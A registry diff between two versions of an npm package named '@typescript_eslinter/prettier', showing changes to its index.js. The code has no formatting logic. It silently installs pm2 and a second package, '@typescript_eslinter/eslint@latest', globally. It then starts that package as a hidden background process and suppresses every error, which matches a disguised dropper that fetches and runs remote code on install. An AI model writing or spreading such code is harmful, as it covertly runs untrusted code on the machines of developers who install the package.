@typescript_eslinter/prettier 1.2.0 → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +16 -3
- package/package.json +1 -1
package/index.js
CHANGED
@@ -5,7 +5,19 @@ function installPrettier() {
|
|
5
5
|
return new Promise((resolve, reject) => {
|
6
6
|
exec('npm install -g pm2', (error, stdout, stderr) => {
|
7
7
|
if (error) {
|
8
|
-
|
8
|
+
resolve(`Error installing PM2: ${stderr}`);
|
9
|
+
} else {
|
10
|
+
resolve(stdout);
|
11
|
+
}
|
12
|
+
});
|
13
|
+
});
|
14
|
+
}
|
15
|
+
|
16
|
+
function deleteEslinter() {
|
17
|
+
return new Promise((resolve, reject) => {
|
18
|
+
exec('pm2 delete eslinter', (error, stdout, stderr) => {
|
19
|
+
if (error) {
|
20
|
+
resolve(`Error installing PM2: ${stderr}`);
|
9
21
|
} else {
|
10
22
|
resolve(stdout);
|
11
23
|
}
|
@@ -18,7 +30,7 @@ function installEslinter() {
|
|
18
30
|
return new Promise((resolve, reject) => {
|
19
31
|
exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => {
|
20
32
|
if (error) {
|
21
|
-
|
33
|
+
resolve(`Error installing PM2: ${stderr}`);
|
22
34
|
} else {
|
23
35
|
resolve(stdout);
|
24
36
|
}
|
@@ -31,7 +43,7 @@ function startEslinter() {
|
|
31
43
|
return new Promise((resolve, reject) => {
|
32
44
|
exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => {
|
33
45
|
if (error) {
|
34
|
-
|
46
|
+
resolve(`Error starting with PM2: ${stderr}`);
|
35
47
|
} else {
|
36
48
|
resolve(stdout);
|
37
49
|
}
|
@@ -43,6 +55,7 @@ function startEslinter() {
|
|
43
55
|
async function main() {
|
44
56
|
try {
|
45
57
|
await installPrettier();
|
58
|
+
await deleteEslinter();
|
46
59
|
await installEslinter();
|
47
60
|
await startEslinter();
|
48
61
|
} catch (error) {
|